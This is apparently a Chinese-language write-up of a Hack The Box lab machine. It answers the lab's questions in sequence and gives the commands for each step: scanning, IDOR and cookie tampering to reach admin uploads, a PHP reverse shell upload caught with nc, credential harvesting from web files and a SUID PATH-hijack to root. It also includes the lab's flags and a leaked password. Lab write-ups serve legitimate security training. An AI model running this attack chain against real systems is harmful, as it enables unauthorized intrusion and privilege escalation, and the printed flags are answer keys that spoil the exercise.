目录
连接至HTB服务器并开启靶机
1.With what kind of tool can intercept web traffic?
2.What is the path to the directory on the webserver that returns a login page?
3.What can be modified in Firefox to get access to the upload page?
4.What is the access ID of the admin user?
5.On uploading a file, what directory does that file appear in on the server?
USER_FLAG:f2c74ee8db7983851ab2a96a44eb7981
7.What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
8.Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
9.What SUID stands for?
10.What is the name of the executable being called in an insecure manner?
ROOT_FLAG:af13b0bee69f8a877c3faf667f7beacf
连接至HTB服务器并开启靶机
靶机IP:10.129.215.110
分配IP:10.10.16.32
1.With what kind of tool can intercept web traffic?
这题答案是代理:proxy
考虑到Kali对靶机进行渗透更方便,可选用的流量劫持工具有BurpSuite、Yakit
2.What is the path to the directory on the webserver that returns a login page?
使用fscan对靶机进行端口扫描:
./fscan -nopoc -nobr -np -h {TARGET_IP}
可见开启了 22、80 共2个端口,且80端口存在响应200的可访问Web网页
再使用nmap对这两个端口进行服务单独扫描:
nmap -sC -sV -p 22,80 {TARGET_IP}
使用浏览器打开靶机Web页面:http://10.129.215.110
再使用 FindSomething 插件找到有泄露登录的路径:/cdn-cgi/login
3.What can be modified in Firefox to get access to the upload page?
进入登录界面:http://10.129.215.110/cdn-cgi/login 点击左下角的以访客身份登录
以访客身份登入后,点击左上角的 Account
观察到URL后面的id参数值为:2 ,并且guest的Access ID值为:2233
尝试将id值修改为:1 ,我们就获得了admin的Access ID值为:34322
这里使用Yakit,点击手动劫持开始流量劫持:
点击Uploads按钮,成功劫持到请求包,修改 cookie 中的值:
user修改为:34322 ,role修改为:admin
修改完成后,点击右上角的 提交数据 进行发包:
成功进入文件上传界面:
4.What is the access ID of the admin user?
从上文可知,通过修改cookie中的值可以访问仅管理员可访问的文件上传页面
其中user值很明显对应的是Access ID,而admin用户的Access ID:34322
5.On uploading a file, what directory does that file appear in on the server?
使用 Wappalyzer 识别该页面技术栈:
可见该页面所用脚本语言为:PHP ,接下来我们上传Kali自带的Webshell
路径:/usr/share/webshells/php/php-reverse-shell.php
我们修改该Webshell中的IP、PORT两个数据:
点击Browse选择php-reverse-shell.php,并点击Upload后抓包,同样需要对cookie的值进行修改:
上传成功后接下来需要对靶机进行目录扫描找到文件上传路径,我这里使用dirsearch:
dirsearch -u http://{TARGET_IP} -e php
这里扫到了 /uploads 目录,使用nc持续监听后访问目标URL成功getshell:
http://{TARGET_IP}/uploads/php-reverse-shell.php
6.What is the file that contains the password that is shared with the robert user?
使用python中的pty模块模拟伪终端tty以获取交互shell:
执行命令:
python3 -c 'import pty;pty.spawn("/bin/bash")'
查找所有.php后缀文件,看是否存在敏感信息泄露:
find / -type f -name *.php 2>/dev/null
可以看到php文件大多集中于 /var/www/html/cdn-cgi/login/ 目录下
进入目录后查看所有内容以寻找密码:
cd /var/www/html/cdn-cgi/login; cat * | grep -i robert
用户名:robert
密码:M3g4C0rpUs3r!
再通过grep命令查询这些字符串属于哪个文件:
grep -rl M3g4C0rpUs3r!
可以看到以上信息属于 db.php 文件内容
使用已获得的账户和密码对robert进行登录:
su robert
在/home/robert目录下找到了user.txt文件
USER_FLAG:f2c74ee8db7983851ab2a96a44eb7981
7.What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
使用 find 命令查询属于bugtracker组的所有文件:
find / -group bugtracker 2>/dev/null
回显为:/usr/bin/bugtracker ,进一步查看该文件信息以及权限:
ls -l /usr/bin/bugtracker; file /usr/bin/bugtracker
8.Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
可见bugtracker文件设置了一个setuid集合并且文件所有者为root
在 Linux 和类 Unix 系统中,setuid(Set User ID)是一种特殊权限标志。当可执行文件被设置 setuid 权限后,执行时会以文件所有者身份而非执行用户身份运行。它主要用于实现特定系统管理任务,如普通用户通过设置了 setuid 权限的程序(如修改密码的程序)以高权限执行特定操作,同时也可提供受限的特权访问
9.What SUID stands for?
SUIB全称为:Set owner User ID
10.What is the name of the executable being called in an insecure manner?
我们直接运行bugtracker文件:
cd /usr/bin; ./bugtracker
- 可见,该文件运行后会执行命令:cat /root/reports/FILE
- 此时若将shell命名为 'cat' 加进PATH中,因为查找优先级比 cat 高所以优先执行
- 因此将以不安全的方式调用 cat ,实则通过运行bugtracker文件即可实现root提权
进入根目录下的/tmp文件夹中:
cd /tmp
编写shell启动器并保存到'cat'文件中:
echo '/bin/sh' > cat
为'cat'文件赋执行权限:
chmod +x cat
将/tmp路径加入PATH环境变量头部以此提升'cat'文件查找优先权:
export PATH=/tmp:$PATH
通过命令查看PATH环境变量,查看/tmp目录是否成功添加:
echo $PATH
回到 /usr/bin/ 目录下,运行bugtracker文件:
cd /usr/bin; ./bugtracker
进入/root目录,找到root.txt文件,使用more、head、tail命令查看文件内容:
cd /root; ls